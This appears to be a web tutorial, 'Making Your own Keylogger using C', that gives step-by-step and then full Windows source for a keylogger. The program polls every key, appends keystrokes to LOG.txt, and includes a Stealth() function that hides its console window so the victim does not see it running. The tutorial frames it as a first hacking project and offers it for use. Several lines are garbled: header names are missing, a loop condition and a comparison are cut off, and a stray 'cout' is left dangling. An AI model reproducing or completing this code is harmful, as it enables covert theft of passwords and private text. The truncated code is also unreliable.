Making Your own Keylogger using C

#include // These we need to
using namespace std; // include to get our
#include // Keylogger working.
#include
int Save (int key_stroke, char *file);
void Stealth(); //Declare Stealth.
Make a main function .(The main function will be the first that will be executed.)
int main()
{
Stealth(); // This will call the stealth function we will write later.
char i; //Here we declare 'i' from the type 'char'
while (1) // Here we say 'while (1)' execute the code. But 1 is always 1 so it will always execute.
{ // Note this is also the part that will increase your cpu usage
for(i = 8; i
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt"); // This will send the value of 'i' and "LOG.txt" toour save function we will write later. (The reason why we declared itat the start of the program is because else the main function is abovethe save function so he wont recognize the save function. Same as withthe stealth function.)
}
}
system ("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
Under that we will write our keylogger so it will also recognize special keys like the ?spacebar? and stuff.
If you want to add some yourself here is a site where you can look up the ascii table. http://www.asciitable.com/
int Save (int key_stroke, char *file) // Here we define our save function that we declared before.
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout
if (key_stroke ==  // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); // This will print[BACKSPACE] when key 8 is pressed. All the code under this works thesame.
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n"); // This will make a newline when the enter key is pressed.
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) //VK stands for virtual key wich are the keys like Up arrow, down arrow..
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
Now we going to add Stealth to it.
Under the latest code add again
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}
So thats it, you wrote your first keylogger
Full Code:
#include
using namespace std;
#include
#include
int Save (int key_stroke, char *file);
void Stealth();
int main()
{
Stealth();
char i;
while (1)
{
for(i = 8; i
{
if (GetAsyncKeyState(i) == -32767)
Save (i,"LOG.txt");
}
}
system ("PAUSE");
return 0;
}
/* *********************************** */
int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout
if (key_stroke ==
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose (OUTPUT_FILE);
return 0;
}
/* *********************************** */
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth,0);
}